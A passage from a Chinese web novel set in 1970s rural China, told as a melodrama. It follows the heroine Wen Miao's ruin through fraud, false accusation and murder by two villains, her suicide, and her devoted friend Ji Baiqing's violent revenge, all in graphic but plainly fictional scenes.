陆延微微一笑:“当然,需要你付出一定的报酬,如果要我帮你打点的话,那肯定得花不少钱吧,不然没有好处谁愿意难动用自己的关系呢。” 交易中一向是双方都获利才让人觉得更为可信,听到陆延说是想要自己的钱,她没犹豫多久。 “你要多少?我给你之后你保证一定会帮我奶奶吗?” 陆延点头,微微一笑。 “当然,只要这个数。” 他比了个五的数字。 五千,两人心知肚明。 将钱给了他后,自己虽然没剩下多少,但勉强还是够维持生活。 念及此处,温淼最终还是答应了。 “好,我给你,你别忘了我的承诺。” 听她答应得爽快,陆延顿时有些后悔。早知道就再多说点了。 周日那天,温淼和季白青一起去将存折里的钱取出来。 到了知青点门口,季白青看着温淼,有些欲言又止。 “蓁蓁,陆延真的不会骗你吗?” 经过了几天,温淼已经冷静下来。 “我不相信陆延。可不敢拿奶奶的事赌,钱没有奶奶重要,现在别无他法,再小的希望都不能放弃。” 温淼现在已经走投无路了,即使知道陆延有很大的可能在骗自己,她也不敢赌万一。 季白青听后,没再多嘴,两人一起将钱给了陆延。 拿到钱后,陆延看着手里厚厚的几沓大团结,满意地笑了笑。 他想,无论是温向荣还是温淼都是不折不扣的蠢货。 一个被陆老爷子耍得团团转,一个被他耍的团团转。 温向荣被举报下放可是他爷爷动的手,陆延怎么可能会拆自家的台。 不过,有了这么多钱,他倒是可以晚点再对温向荣下手。 可惜,真相她们没人知道。 要怪就怪温淼被家人保护的太好,过于天真,也太过相信别人。 他在原地站了没多久,沈念念从角落里出来,看着他手上的钱眸中发亮。 她撒娇似的挽住陆延的胳膊,娇声询问:“陆延哥,现在她把钱给你了,我能不能把她的身份告诉村里其她人了啊?” 陆延宠溺地摸了摸她的脸蛋,柔声道:“当然可以了,念念,这是她以前针对你应得的报应。”- 温淼是黑五类后代的消息很快在云水村发散开,她在村里的名声本就不太好,一是长相太艳、脾气骄纵,二是和村里地主家的狗崽子走得近,看她不顺眼的人并不少。 但比起季白青已逝的地主爷爷,温淼有个活着的被下放的黑五类奶奶的事在她们的口中显得更加罪无可恕。 甚至她们的角色在一夜间调转,出门干活时,被劝少同对方接触的人换成了季白青。 季白青没理,只觉得莫名,此外又格外心疼温淼。 这些话季白青听过十几年,早就已经麻木。 可温淼从小被娇养到大,那些难听的话怎么能够落在她的耳中呢。 但即使被村民们避如蛇蝎,听着那些难听的流言蜚语,温淼看起来似乎无动于衷。 只是一面上工,一面担心温向荣的事,她比起以前消瘦不少。 流言散布开的第一个休息日,温淼邀请季白青去镇上拍一张两人的合照。 季白青从来没想到,自己还有机会能够和温淼拍合照。 内心的担忧暂时被放下,季白青开始紧张,去拍照的那天挑了一身最为板正的衣服。 相机咔嚓一声,将两人的面孔定格,争着付款的时候得知要一个星期后才能取到照片的季白青有些失落。 回去的路上,她疑惑地问温淼:“怎么突然想着要拍合照?” 温淼下巴尖尖,也就今天多了点血色。 她回答:“留恋用,以后可以多拿出来看看。” 在季白青的期待下,下一个周日很快到了。 温淼和她取了照片,又和她一起吃了一顿晚饭。 最后将那张照片给她。 照片里,季白青有些傻愣地看着镜头,温淼微微侧过头去看着她的脸。 黑白照片也能看出两人面容的秀气精致。 季白青喜欢得不行,左看看右看看。 “季白青,以后我就不和你一起吃饭了。” 闻言,季白青愣住,甚至没有心思去想那听起来格外生疏的称呼。 “为什么?”她立刻问道,声音分外急切。 温淼摇了摇头,“本来就是在知青点更方便一点,也不用来回跑了。” 可是真的是这样吗?季白青一时间都说不出反驳的话。 看着温淼离去的背影,季白青恍惚地回到家里,这才发现,家里属于温淼的痕迹不知道在什么时候全都被抹去了。 散乱放在柜面上的外套、随手插上的野花、午睡时盖的淡青色薄毯全都不见了踪迹。 温淼只给季白青留下了一张两人的合照。 季白青有些茫然,想不出缘由。 为什么?她又惹她生气了吗? 原本第二日想要当面询问,但上工时,季白青却没在周边看到温淼。 她像是回到了最初一般,不再愿意再同她有任何的接触。 季白青很难找出理由。 是因为村里的留言太盛,不想要连累她吗?她突然冒出这个想法。 可是季白青并不害怕被她连累,她可以承受非议。 只是上工的日子她找不到机会和温淼说话,到了休息时间,温淼又刻意躲着她,干脆窝在知青点不出门。 只是偶尔会去远宁探望温向荣。 季白青每天蹲点,终于等到了温淼出门要去镇上坐车。 见着温淼出门后,季白青什么都没想,只是凭借本能地追了上去。 温淼听见脚步声回头,看见季白青。 季白青刚想开口和她说话,温淼却已经转过头去,不再看她,她说话也不理她,两人间的气氛逐渐变得沉默。 季白青心里酸涩,放慢脚步,最后跟在了她的身后,时不时抬头看她的背影。 她安静地跟了温淼一路,和她一起上了长途汽车,看着她照顾恢复了一些的温向荣,在一边及时给她搭一把手,最后两人一起走出牛棚。 季白青站在她身边,看她瘦削的脸颊轻声问:“最近还好吗?” 所有准备好的话,在见到她后,她却不由自主地只想问她现在过得好不好。 怎么又瘦了那么多?季白青看得心里发涩。 温淼垂下眼睫,掩盖住眸中的异样,只是平淡道:“挺好的。” 闻言,季白青挤出来一个笑,若无其事道:“怎么不叫我和你一起来?” 她捏着衣角,还想多说点什么,却被温淼打断。 “没必要叫你来。” “没必要。”她轻声重复。 季白青眼眶一红,哑声开口:“怎么会没必要……蓁蓁,我很有用的,可以帮你干活,陪你来看奶奶,也可以和你一起照顾奶奶。” “我很有用的。”她极力推销自己。 温淼浅笑一声:“我知道你有用,但这些事我一个人也能够完成。” 季白青好挫败,不知道到底还能够说些什么。 最后,她将内心的疑惑问出口。 “为什么躲着我?” 温淼神情冷淡,看向远方,只是攥紧的手心透露出一丝真实情绪。 “没有躲着你,只是不想见到你。” 季白青的心微微一缩,声音干涩:“为什么?” “没有那么多为什么。” 季白青拉住想要离开的温淼,“蓁蓁,我知道你是担心拖累我才不愿意和我继续走近的。” “可我不在意这些,”她的声音一梗,最后才慢慢开口。 “淼淼,我喜欢你,想要和你在一起,和你一起承担这些责任,给我一个机会好不好?” 温淼将目光挪向季白青,轻笑一声,最后温声道: “可是……季白青,我不喜欢你。” 【作者有话说】 得了祈艾老师重度依赖,没她给我看文我都发不出去 感谢投雷营养液,感谢评论订阅收藏~ 持续收尾中,如无意外,今天或明天结束 94 第94章 ◎天命之女(完)◎ 她并不喜欢自己。 即使季白青早就做好了心理准备,即使知道两个人之间隔着天堑,但温淼的拒绝还是让她心生酸涩。 她会不会觉得自己是在趁人之危,想要在奶奶下放这段时间取得她的心意? 季白青内心慌乱,不知道该怎么解释。 她的声音发涩,轻声回复:“好……对不起,是我多想了,蓁蓁,你就当我没说过那话吧。” “我不是想要你在这个时候分心,蓁蓁,我只是想要告诉你,我会陪着你渡过难关,你不用自己扛着。” 她艰难地撑开眼皮看向温淼,像是以往一样,伸出手指轻轻勾住她的手指后,低声询问:“那我们……还能做朋友吗?” “不行。”温淼将自己的手指抽出来,冷眼看着她。 “我现在最不需要的就是喜欢,我不喜欢你,这样的情况下也不会继续和你做朋友,你别在我这里浪费时间了。” 看着女人冷淡姝丽的眉眼,季白青的心脏像是被一只无形的大手攥住,钝痛从心脏席卷全身,还有些说不清道不明的委屈,刺得她眼眶发烫。 不能做恋人,连朋友也不能做吗?她只是想要陪着温淼一起照顾温向荣而已,最起码让她不要那么累。 “蓁蓁……” 季白青还想要多说些什么,却被温淼打算。 温淼死死拧着眉:“不要再说了,我现在很烦!我希望你能离我远一点,越远越好!” 这话说出来,季白青丧失了再去多说的勇气。 她也忘记了自己是用什么语气回了温淼一声好,随后分外狼狈又沉默地守着温淼,陪她从远宁回到溪宁,又从溪宁去远宁。 温淼现在像是一根紧绷的弦,随时随地都会断掉。 她绷得太紧,季白青也只能将人看得紧一些、再紧一些。 所以她也并不放心温淼只身前往远宁,像个影子似的跟着她来回,不过此后每次赶路途中她都不再和温淼说话,曾经关系密切的两人在此时只能生出无尽的沉默。 无论温淼怎么说、怎么发火,刮风下雨,季白青从来没有缺席过。 云水村中与温淼有关的流言一直没有停下来,流言秽语、谩骂抹黑,光是轻飘飘的言语就足以将人的一身浑身傲骨都打碎,将人挺直的脊背压弯。 季白青唯一庆幸的是,温淼虽然看起来柔软,但是内心却足够强大,没有被这些污言秽语打倒。 但是这些流言原本就不应该出现,村里人的恶意实在是太强大,无论是刚到云水村的温淼还是被人知道有个被下放的奶奶的温淼,在各种阶段都被人以各样的语言恶意揣测贬低。 季白青不明白,人的恶意怎么能够这么大。 明明沈念念和陆延两人做的坏事更多,性格恶劣、处处针对温淼,怎么她们就能够受到村里人的喜欢? 意识到这一点的后,季白青除了看紧温淼外,也会额外关注沈念念和陆延的动态。 今天沈念念将温淼叫去河边的时候,她的心里就有股不祥的预感。 不过是一眼没看住,当听到“噗通”一声的落水声后,季白青没有丝毫犹豫,将沈念念推开后跳下了急湍的河水之中,将往下沉的温淼抱住往上游。 她怕被温淼发现,便隔着一段距离,等到跳进河里的时候时间已经过去一两分钟了。 温淼不会水,刚被推下去就呛了几大口水,肺里的空气被挤压出去,不剩多少氧气。 感受到有人抱着她后,求生欲让她将人抱紧。 看着温淼被呛得闷红的脸,季白青没有时间犹豫,直接低头与她红唇相碰,将自己口中的氧气渡给她,一面抱着人往上游。 接收到了那点氧气,温淼贪婪地接受,随后更为主动地去掠夺。 眼见着要浮出水面,季白青按着温淼的肩膀,脑袋后仰,将两人的唇瓣分开,带着人浮出水面,狠吸一口气后,搂着人往岸上带。 将人放在了草地上,让她侧过头去将呛进去的水吐出,温淼剧烈咳嗽两声,总算是突然恢复了意识。 季白青见她终于睁开了眼睛,松了一口气。 “你现在还好吗?” 温淼伸出手,用力将人推开。 季白青往后退了一步,落在她身上的眼神有些受伤。 “咳咳!”温淼慢慢直起身子,撑着地面几乎要将肺都咳出来。 季白青还想要去扶她,温淼却抬起头来,厉声道:“你别过来。” 她被呵得站在原地不知所措。 温淼站起身来,脸色还是闷红,刚准备要离开,却被季白青拦住。 “换一身衣服再回去。” 不然被人看到了少不了又是一顿闲话。 而在此时,作为罪魁祸首的沈念念早就不见了踪迹。 温淼摇头,刚要拒绝,就感觉身体失重,被季白青一言不发地抱起来,她挑了一条没什么人的小路往她家走。 无论温淼怎么挣扎都没有用。 将人带回了家,季白青拿出一套自己的干净衣服给她,“换上。” 温淼拧眉,“我不用。” 见她急于要将自己和她的关系撇清,季白青抿着唇,内心越发受伤,伸出只手挡着门不让她离开,只丢下一句话:“如果你不换的话,就别走了。” 温淼和她对视一眼,看出了她眸中的固执,最终还是败下阵来,结果她手中的衣服,关上门后准备换上。 她留在季白青这儿的衣服全都拿走了,手上的一套还是她给季白青置办的,被清洗得干干净净,上面带着干净的皂角清香。 是属于季白青身上的味道。 她放在鼻尖轻嗅一口,最后没在拖延,快速将衣服换上了。 将门打开后,季白青见她换下了一身湿衣服,没再多说什么。 温淼没和她说话,将长发上的水拧干,带着换下来的衣服往外走。 回到了知青点,打开女知青的房间门,沈念念不在,潘红霞看了她一眼,小声问道:“你没事吧?” 温淼摇了摇头,只是今天将陆延给她的药放好,下次去看温向荣的时候带给她。 温向荣的身体亏空,现在温知意和温皎皎被重点监视,无法给她寄钱和票,温淼身上的钱几乎都给了陆延,又要买票去看温向荣,又要给她买药,几乎没剩多少。 昨晚她自愿去蛇窟,作为交换陆延将补身体的药给她,她只希望温向荣吃了之后能够早些恢复- 后山处,沈念念晃*着陆延的手臂撒娇,声音甜腻:“陆延哥哥,对不起,我错了。” “我看她和你挨得那么近,还以为她是在勾引你,你知道的,她最爱和我比了,我不想你被抢走!” 沈念念看着陆延不悦的脸色,内心有些不安。 听了她的解释,陆延叹出一口气。 算了,念念这么冲动都是因为太在乎他了,他还是原谅她吧。 陆延声音温柔了些许,带着磁性。 “念念,早上我和她不是你想的那回事,我只是给药给她而已。” 沈念念对他甜甜一笑,“我知道了陆延哥,我以后再也不会多想了。不过我跟你说,今天温淼把我约到河边想要推我下河淹死我!还好我提前察觉到了危险,最后把她推下去了。” 陆延闻言,眉心轻拧。 “什么,她没事吧?” 沈念念娇俏地跺了跺脚,噘着嘴道:“你怎么就关心她不关心我!她这么想要把我害死肯定是想要取代我的位置,和你在一起。” 陆延想到温淼那张美艳的脸,心情倒是愉悦了几分。 温淼喜欢他,似乎也是情有可原,毕竟他的长相、家庭和能力摆在这儿。 沈念念又继续道:“可温淼掉下水后,我看见张癞子下水救她了,把她都看光了。” 闻言,陆延的脸色一僵,声音有些不可置信。 “什么?!” 沈念念无辜地眨了眨眼:“对啊陆延哥,我真的没有看错。” 在季白青听到温淼落水被张癞子救了的消息在村里传开后,已经是第二天了。 如果不是因为将温淼救上岸的人是她,季白青险些都要被她们说得若有其事的模样说服了。 她跟别人解释,将温淼救上来的人是她后,却只被人当做是替她掩护,没有一个人愿意相信。 就连温淼自己也不出来为自己辩解。 季白青又一次跟着温淼去远宁,路上还是没忍住开口。 “你为什么不解释?” 温淼掀起眼皮看了她一眼,轻声道:“我不介意。” 季白青提高声音:“可她们说的那么过分!” 温淼盯着她轻轻一笑:“我不喜欢男人,难不成还喜欢你一个女人?” “季白青,真的没必要再继续跟在我身后做无用功了,我不会喜欢你的。” 季白青执拗地看着她:“你不喜欢我没关系,我不在意,所以你也不用劝我。” “可我觉得很烦。”温淼打断她,落下轻飘飘的一句话却让季白青再也开不了口了。 温淼没再和她多说,将带来的药给温向荣熬上。 几个月过去,温向荣的身体没好多少,脸上的疤痕沟壑纵横,偶尔还会发炎,腿上的伤、身上的伤口好了又添新伤,看不到一块好皮肉。 看着脊背越来越弯的温向荣,温淼觉得很无力。 将药喂温向荣喝下后,见她脸上多了分血色,温淼安心了些。 温淼想,或许是药效不错。 只是她现在也没有多少钱能给温向荣买药了,就连这次的药也是陆延给的。 这样一想,她内心有些黯然。 她不知道到底还能坚持多久,现在温向荣的情况糟糕,身体亏空却还要下工干重活,每天遭人殴打欺负。 温淼不想承认却又不得不承认的是……她确实没有能力护着她。 不能像是温向荣护住年幼的她那样。 心情沉闷地回到了知青点,她将母亲给她留下的最后一点东西都找了出来,找了个机会去黑市卖出去。 只是其中的一大半钱都要给看收人作为报酬,剩下一小部分虽然不多,但也能够支持一段时间了。 之后再慢慢攒,总能看见希望的。 但下一次去远宁探望温向荣的时候,她却没见到人。 心里的不安强烈,温淼顾不得身边是季白青,声音慌乱:“奶奶不见了。” 季白青蹙着眉,“别担心,我们先到处找找。” 刚拉住一个人询问,那人便没好气开口:“那个黑五类早死了!别在这找晦气!” 听了这话,温淼一怔,随后慢慢摇头。 “他说的不是奶奶。” 只是两人拉住更多人,每个人的说法都如出一辙。 温向荣死了。 温淼不愿意相信。 最后她们撞见了先前托付的婶子,温淼抖着声音询问。 婶子见她面色苍白,叹了一口气。 “姑娘,你奶奶去了,我当时去看的时候,已经没气了,我让我家男人把她埋了,就在后山,你跟我去看看吧。” 站在小土堆前,温淼怔怔地看着,还是不大相信。 上次见还好好的,怎么就突然没了呢。 季白青也有些恍惚,是啊,明明先前还好好的,怎么就没了呢? 温淼在坟前站了几个小时,没有说话。 只是觉得,很难过。 在心里无数次憎恨自己的没用,憎恨她没能够保护好温向荣。 回到云水村,温淼变得越发沉默,总觉得在恍惚中,能回忆起温向荣的音容笑貌。 面前是重重幻影,去世的亲人在眼前浮现,她快要窒息、溺亡。 温淼和温如嫣岔开时间去温向荣那照顾,一周去一次,或许温如嫣也知道了这个消息。 温淼没有多余的精力、也不知道该怎么向她说温向荣的死讯,她只觉得呼吸都艰难,身体时刻都是涩的。 只是没想到一个多月的时间没有联系,她却从别人的口中听到了同样让她痛彻心扉的消息。 “诶,陆哥,你看报纸了吗?山水镇有个赤脚医生被人拿刀砍死了。” 方海洋在饭桌上开口,陆延随口一问:“哪个村?” “象山村。” 听见这话的温淼彻底愣住。 温如嫣便是被调到水镇象山村做赤脚医生。 怎么可能会有这么巧合的事情,一定、一定不是她! 方海洋说的最后一句话将她内心的希望打碎。 “听说那赤脚医生姓温。” 此话一处,众人看了眼角落里的温淼,开始哈哈大笑。 温淼的脸白得像雪- 季白青发现最近很少再看到温淼,她也不能直接上知青点找人,每天蹲守不到人,心中莫名生出几分担心。 与此同时,她也敏锐地发现自己家附近好像多了些莫名的动静。 想着在报纸上看到的人贩子逃窜的报道,她警惕了一段时间,丝毫不敢掉以轻心,最后在屋后的林子里发现了一个精瘦的男人的。 男人眼神狠厉,眼角带疤。 季白青默不作声地提起砍刀,悄声走到他身后,用刀背狠狠击打他的头。 男人头流出血,却没有立马晕过去,而是眼疾手快地抽出枪,按下扳机射向季白青。 砰的一声巨响在山林也响起,惊动一群飞鸟。 季白青快速闪过,最后还是被击中肩膀。 最后她忍这痛,一脚踹向男人的手腕,将他手中的枪踢飞。 两人扭打在一起,几个回合后,季白青踹向他的裆部,趁男人吃痛,她顺手抓了把泥就往对方眼里撒。 同时承受了男人一记重拳的枪伤血流的更欢,稀稀落落往地上落,将泥土打湿,她疼得几乎动弹不得。 脚步声突然响起,暗处观虎斗的陆延在出现,拿上工具将地上痛苦哀嚎的人贩子绑了起来,又顺手捡起了那把枪,对季白青得意一笑。 他提高声音:“这里有人贩子,我把人贩子制服了!” 没多久,李向东带着一群拿着铁锹、锄头的人冲了进来,见到了陆延手下表情狠厉的人贩子后都心生忌惮,好在来之前李向东就让人骑着村里的车去报警了。 李向东看了眼捂着伤口,手被血染红的季白青蹙起了眉头,神色不善:“你怎么也在这里?” 陆延一笑,解释道:“我看她们在这私会,季白青应该是这个人贩子的同伙,我把两个人都制服了。” 陆延随便身上抹了点泥,手上和脸上都沾了灰,看起来倒是有些可信度。 陆延手下的人贩子闻言,瞬间笑了。 “没错,她就是我的同伙,但她已经知道错了,你们可千万不要惩罚她!” 贱人,让她要多管闲事,看老子拖不拖她下水。 季白青被两个人架起来,失血过多让她面色有些苍白,看着人贩子和陆延扯了扯唇,“我看你们俩才像是一伙的。” 陆延语气不屑:“我又不是地主家的狗崽子,我根正苗红,怎么可能和一个人贩子勾搭在一起,倒是你……” 这话说完,周围的人议论纷纷 “确实,她整天阴阴沉沉的看着就不像什么好人。” “啧啧,真是给我们村丢脸。” 人群中的责怪声不断,季白青习以为常地低下头。 突然听见了一道截然不同的声音。 “季白青不可能是人贩子的同伙。” 温淼从人群中出来,死死掐着手心,看着人贩子和陆延。 “他们撒谎。” 一边的沈念念状似天真无邪道:“可既然不是的话,陆延哥怎么会看到她和人贩子呢?总不能是季白青把人贩子制服的吧。” “而且,淼淼,你可是黑五类的孙女,说这种话没人会相信吧。” 这话一出,立马就有人否定。 “不可能!” “她这种人怎么可能会这么好心。” “坏分子的话不能信啊。” 众人张口否定间,她抬头和温淼对视。 见她消瘦的脸颊、黯淡的眼睛和苍白的皮肤,内心刺痛。 温淼把自己照顾得很不好。 看出她眸中的怜惜,温淼轻轻挪开视线。 自己都过成现在这样了,竟然还有功夫心疼她。 温淼一个人的声音太单薄,根本人相信她们不是同伙,警察来的时候,将三个人连带着李向东都带走了。 到了警局,警察给陆延搬了张凳子。 “陆知青,您坐。” 陆延对他微笑示意,随后欣欣然坐了下来。 副局长没多久也姗姗来迟,见着陆延欣喜地迎上去。 “陆知青,听王主任说过你很多次,现在一看,果然是年轻有为。” 李向东站在陆延身后,看起来十分拘谨。 见状,季白青心一沉。 陆延认识他们。 随后的审问中,人贩子坚持说季白青是她同伙,季白青坚决否认,并将打斗的经过告诉警察。 闻言,他们都笑了,一个男人扣了抠鼻子。 “你一个女同志,怎么可能打得过一个男人?” “而且,你的意思是陆知青在撒谎?” 季白青沉默了,看来他们就是不想放她离开,也不知道陆延到底是许诺了什么好处。 她往后一靠,淡声问:“那说我和他是一伙,有什么证据?” …… 几个小时后,季白青被送去治疗,同时压下来的还有十八个月的牢狱之灾。 躺在病床上,看着窗外灰蒙蒙的天,季白青有些挫败。 和陆延相比,她比不过,做好事反而将自己做进了牢里,她讽刺一笑。 就是不知道温淼能不能照顾好自己……不过即使她没入狱,也帮不了温淼什么。 毕竟,她很没用。 温淼性格又太犟,铁了心要和她划清距离。 后来,她在报纸上看到陆延制服人贩子的表彰,同个牢房里的女犯人对他赞不绝口,季白青将报纸放在一边,看不下去- 陆延说,只要温淼愿意和张癞子结婚,他就会给季白青作证,让她免于牢狱之灾。 温淼思考了很久,最后还是同意了,不过在第一天就将张癞子的那玩意给踹废了。 这还是季白青教过她的防身招。 只是两人结婚之后,陆延并没有兑现承诺。 温淼有时候也觉得自己傻,明知道是陷阱,却仍旧不肯放过一丝机会。 只是她不明白,为什么她过得这么狼狈,沈念念和陆延为什么会过得那么幸福呢? 好像从一开始就注定了,她们的一生会是顺遂的。 1977年10月21号,高考恢复。 温淼报名参加了高考。 来年二月,沈念念、陆延、方海洋和吴严青纷纷收到了录取通知书。 而在沈念念的示意之下,加上张癞子早就怀恨在心,有着陆延的压制才一直没对温淼下手,这下十分爽快地将她的手脚筋挑断。 沈念念抽时间拿着京市大学的录取通知书去看她,见昔日没人变成现在的狼狈模样后扬起了笑。 她让张癞子出去,当着温淼的面将录取通知书打开。 上面印着工整的“温淼”二字。 温淼的瞳孔微微放大,见状,沈念念笑得越发灿烂。 “温淼,不对,现在我改名叫温淼了。” 她戳着温淼枯瘦的脸,低声道:“你……可就是个冒牌货了。” “像你这样的扫把星就不应该再存活在世界上。” 温淼的唇发抖,半响都说不出话来。 “对了,你奶奶是陆延爷爷举报的,惊喜吗?也是多亏了你给陆延的五千块钱,才让他有钱买通其她人,把你奶奶打死。啧啧,一切都要多谢你才对。” 见温淼的眼里泛上了红血丝,沈念念拍了拍脸,这才笑眯眯道:“对了,你姑姑的死和季白青入狱,也要多亏了有你的五千块钱打点。” “如果我是你的话,知道自己害死了这么多人,我就不该活着。” 她拿录取通知书拍了拍温淼的脸,将她的脸颊拍得红肿。 温淼终于能够开口说出一句完整的话了。 “沈念念、陆延,你们会不得好死的。” 沈念念轻笑,“我们啊,考上了好大学,有了好家世,那肯定会过得好好的,你就放心吧。” 说完,她不再看温淼。 曾经看起来是她对手的人,现在看上去也不过就是那样,她现在完全不用再把她放在眼里。 出了门,看着门口的张癞子,沈念念取出一沓钱给他。 “行了,快去解决吧。” 憨笑着进了屋子,看着屋里的女人,张癞子恶狠狠地啐了一口。 “贱人。” 说完,他拿着桌上的水果刀,直接刺进了她的胸口。 血液慢慢浸出来,温淼的呼吸声微弱。 张癞子晦气地擦了把手,出门。 血一滴一滴落在地上,看着胸膛的刀柄,温淼强撑着将手握上刀柄,往胸内用力。 她好像真的做了太多错事,或许真的不应该在世间苟活- 1978年三月,春光明媚,季白青表现良好,提前两个月释放。 同外界隔绝太久,她呼吸到新鲜的空气,觉得久违。 只是不知道……温淼怎么样了。 听说高考恢复了,她那样聪明,怕是早就拿到录取通知书、考上大学了吧。 唯一有些遗憾的是,她出来的晚了些,没能再见她一面。 不过,一想到温淼能够回到繁华的地方继续学习深造,她就觉得,就算不见到也没关系。 总之,她是挂念着她的,默默挂念就好,不要成为负担。 虽然一年多的时间里,她从来没有来看望过自己。 但只要她能把自己照顾好,季白青已经觉得很满足了。 温淼自己才是最重要的,不来看她也没事。 太久没出来过,溪宁镇变得有些陌生,陈旧中好似开始焕然一新,让季白青站在原地有些无措。 行人走过,见她站在监狱前,纷纷绕过她。 愣了好一会儿,季白青才决定回云水村。 那有她的房子,她只有这一个地方可以去。 她憎恨的地方,同时也是养育她的地方。 一步一步走到云水村,路过村里的人发现她们唇角都带着笑,身上穿的衣服也花花绿绿的,比以前要好上许多。 季白青穿过人群,忽略她们见到自己时神色各异的脸,往家的方向走。 只是刚到门口,她却发现木门大敞开,走进屋里面,张癞子满面红光正在吸着烟。 季白青一顿,提着人的衣领将他抬起。 “你怎么在我家?” 见到来人熟悉却越发锐利的脸蛋,张癞子手上的烟微微一抖,掉在了地上。 他颤颤巍巍开口:“那个,我、我买下来了!” 说完后,他瞬间理直气壮起来。 “我买下来了,现在这房子写的我的名字。” 季白青冷笑道:“我怎么不知道我的屋子什么时候被收上去了?” “你、你问李向东,总之是李向东收了我的钱!整整五百!” 张癞子被人扔在凳子上,见人离开后十分后怕地拍了拍胸脯。 季白青大步流星往李向东家走,闯进了他家向他讨钱。 李向东见到季白青也是一惊,最开始还藏着掖着跟她打哑谜,季白青也没放过他,将人揍了一顿。 看着瘫在地上的人,她冷声询问:“钱呢?给我。” 李向东哆哆嗦嗦还想说点什么,屋外一个清脆女声道:“你跟我来吧,我把钱给你。” 来人是李向东的女儿李雯雯。 拿到了钱后,看着李雯雯,季白青犹豫一瞬,最后还是问出了口。 “可以问你一件事吗?” 得到了许可后,她轻声问:“温淼考上了哪所大学?” 这话问出口后,李雯雯脸上的表情瞬间凝滞。 她看了季白青一眼,轻声道:“你不在,所以不知道。” “温知青没考上大学。” 季白青拧眉,“怎么会没考上大学?她很聪明、很用功,以前的成绩也很好的。” 李雯雯的声音低了几分,“季白青,节哀。” “温淼已经自杀了。” 她已经死了。 砰。 厚厚的一沓钱砸在地上,发出一声闷响。 季白青艰难地撑起唇角,哑声道:“这话不好笑,温淼到底在哪?” 李雯雯看着她,再次重复:“温淼自杀了,就在二月。” 季白青想要反驳,可一开口却发不出声音,最终只能无力闭上。 她失魂落魄地转过身,往前一步步地走。 温淼怎么可能会自杀?一定是骗她的。 没走多远,李雯雯追上她,将钱塞给她。 “温知青的墓你要去看看吗?我记得她最漂亮了,所以给她挑了个开满鲜花的地方。” 季白青麻木地跟在她的身后,李雯雯的脚步在后山一片草地上停下。 季白青抬眼看着面前隆起的小土坡,上面开满了各色的不知名野花,香气浅淡,但却不是温淼身上所特有的香味。 不过温淼或许会喜欢这样的一块地方。 她蹲下身,伸出手摸了摸花瓣。 李雯雯见状,轻声道:“就是这里,那我先走了。” 季白青没有回复,跪坐在墓前。 “淼淼,我来晚了。” 她笑着扇了自己一巴掌,苍白的脸上印着鲜红的掌印。 怎么会自杀呢?因为很难过吗? 早知道她就该再多干点活,争取更多的减刑,早点出来见到温淼才对。 那么坚强的温淼……死了。 她恍惚地想,温淼会冷吗?会不会觉得孤单?需不需要……她来陪她? 只是,还不是现在。 温淼怎么会没考上大学,一件又一件的不幸的事情怎么可能会连续地降在她的身上。 她要找到答案。 季白青贴着一朵粉色的野花躺下,蜷缩着身体一动不动,陪了温淼一夜。 一大早,季白青起来,又对着小土堆说了会儿话,找李雯雯问清楚她不在的时间里发生的事后,这才回到原本的屋内。 将门锁轻易地撬开,季白青将张癞子踹下床。 她手上拿着砍刀,面色阴沉:“温淼到底是怎么死的?你老实告诉我。” 张癞子被吓得瞌睡瞬间醒了,哆哆嗦嗦道:“我、我哪知道!” 季白青没说话,挥刀要落在他的手掌上,“啊啊啊啊!我说我说我说!” 张癞子偏过头去,吓出猪叫声,连连求饶。 “她……沈念念抢了她的录取通知书……” 张癞子闭着眼睛立马将先前他在门口偷听到的消息告诉她,听完后,季白青阴森森地笑了出来。 “那温淼怎么死的?” 张癞子睁开眼睛,看清她眼底的阴鸷后,瞬间又被吓得闭上了眼睛。 “我我我……我不想的!只是她把我踢废了,而且沈念念给钱让我把她手脚筋挑断,还有……最后可是她、她自己下手的!” 张癞子耍了点小聪明,说的很含糊。 季白青将他放开,“我以前的东西呢?” “都、都在仓库里放着!” 她去仓库里将温淼送的东西都收拾了出来,又徒步去镇上买了点心和果汁,回到云水村,将买来的东西放在温淼的墓前。 “淼淼,要晚点来陪你了。” 她在墓前碎碎叨叨说了很多话,一直到夜沉了下来。 再次回到她原本的家,利索将张癞子的手筋和脚筋挑断,季白青连夜买车票去了京市。 对京市的了解全都来源于温淼,季白青对此处便天然带着好感。 揣着剩下的钱,她租了一个小房子,不怕吃苦,干着各种活。 搬砖、保洁、洗盘子……每个同事都夸她拼命,只有季白青知道,她只是怕一闲下来就会想起温淼。 温淼要怪她的,她承受不住。 高楼拔地而起,道路上的自行车挤挤攘攘。 一转眼,五年过去。 沈念念成了大学教授,陆延成了房地产新贵陆氏集团的继承人。 让温淼的生命永远停留在25岁的罪魁祸首们在上层社会混得如鱼得水,似乎忘记了曾经做出的那些恶事。 看着绑来的两个人,季白青勾起唇,轻声道:“还记得我吗?沈念念、陆延。” 唤她们名字的时候,季白青一字一顿,仿若恶鬼。 “唔唔唔唔!”沈念念一个劲地摇头,看着面前身穿保洁工服、戴着帽子和口罩将自己面孔遮掩的严实的人面露惶恐。 她们被迷倒放进垃圾桶里运出来,身上的腐臭味和嘴里塞得臭袜子的味道熏得她几乎要哭出来。 明明她不是和陆延一起受邀在京大做讲座吗?怎么会突然被绑到这个死地方?! 陆延的脸色也十分难看,在地上不断挣扎,名贵的西装外套蹭上泥土、泔水,各种污秽。 季白青声音轻柔:“不认识也没关系,毕竟你们贵人多忘事……我记得你们就好。” 说完,她一脚踩在了陆延的□□上,挪动鞋底,用力碾压,没有收着一丝力气。 “把人当狗耍好玩吗?陆延。” 她最后一脚重重落下,将人那处彻底废了。 陆延嚎叫一声,神色扭曲。 黑色西装裤逐渐被渗出来的血液和尿液浸湿,空气中骚味弥漫。 见对方转头看向自己,沈念念无助地往后退。 “唔唔唔!” 季白青嫌弃地在地上蹭了蹭鞋底,见她面露祈求,这才恍然大悟。 “哦,我忘记了,你们嘴里还塞着我工友的袜子。” “味道如何?穿了一周的。” 说完,她拿铁钳将沈念念嘴里的袜子夹出来。 沈念念忍住想要呕吐的欲望,立马张开嘴想要求救。 季白青抵住自己的唇,一铁钳打在她的嘴上,将柔嫩的皮肤打肿。 “嘘。” “如果大叫的话,我不确定我会做出什么不理智的事情,而且——这是郊外,你们真要想叫的话也行。” 沈念念猛地摇头,脸上满是泪痕,忍着嘴上的疼小声说:“我、我不叫了。” “你、你到底想要干什么?要钱的话,我们有钱!我、我老公有钱!他可是陆氏集团的继承人。” 陆延也在一边剧烈点头。 季白青轻轻摇头,黑眸静谧。 “我比较贪心,想要的东西更贵重。” 就比如,你们的命。 沈念念泪眼朦胧,“怎么才能放过我?” 季白青有些诧异:“你老公就不用放过了吗?” 